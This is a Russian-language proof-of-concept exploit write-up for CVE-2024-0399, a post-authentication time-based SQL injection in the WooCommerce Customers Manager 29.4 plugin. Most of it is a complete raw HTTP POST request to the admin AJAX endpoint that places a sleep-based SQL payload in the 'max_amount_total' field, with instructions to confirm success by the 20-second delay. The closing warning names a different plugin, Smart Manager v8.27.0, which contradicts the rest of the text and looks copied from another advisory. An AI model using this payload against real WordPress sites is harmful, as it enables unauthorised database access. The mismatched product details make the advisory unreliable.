
Эксплойт доказательства концепции для CVE-2024-0399 — пост-аутентифицированная time-based SQL-инъекция в WooCommerce Customers Manager 29.4, нацеленная на параметры суммы транзакций через AJAX-конечную точку администратора.
Название эксплойта: WooCommerce Customers Manager 29.4 - SQL-инъекция после аутентификации
Дата: 2024-03-25
Автор эксплойта: Ivan Spiridonov - xbz0n
Ссылка на ПО: https://codecanyon.net/item/woocommerce-customers-manager/10965432
Версия: 29.4
Протестировано на: Ubuntu 22.04
CVE: CVE-2024-0399
Плагин не очищает и не экранирует должным образом параметр перед использованием его в SQL-запросе, что приводит к SQL-инъекции, эксплуатируемой ролью Subscriber+ и выше.
Уязвимость находится в параметрах суммы транзакции, таких как 'max_amount', 'max_amount_total', 'min_amount' и 'min_amount_total', используемых в AJAX-конечной точке администратора. Внедряя SQL-команды в эти параметры, аутентифицированные злоумышленники могут манипулировать SQL-запросами, что приводит к уязвимости time-based SQL-инъекции.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295
Content-Length: 1877
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="action"
wccm_get_orders_tot_num
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="start_date"
2024-01-09
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="end_date"
2024-01-11
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="customer_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="category_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount_total"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount_total"
(select*from(select(sleep(20)))a)
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_filters_relationship"
and
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="statuses"
wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft
-----------------------------2461714219322283440478088295--
Если ответ сервера задерживается примерно на 20 секунд, это указывает на успешную эксплуатацию time-based SQL-инъекции, что подтверждает уязвимость.
Пользователям WooCommerce Customers Manager v29.4 настоятельно рекомендуется ограничить доступ к затронутой конечной точке и обновить плагин, как только будет выпущена исправленная версия. Данное уведомление служит предупреждением для всех пользователей Smart Manager v8.27.0 о необходимости немедленно обновить плагин для защиты от этой уязвимости SQL-инъекции.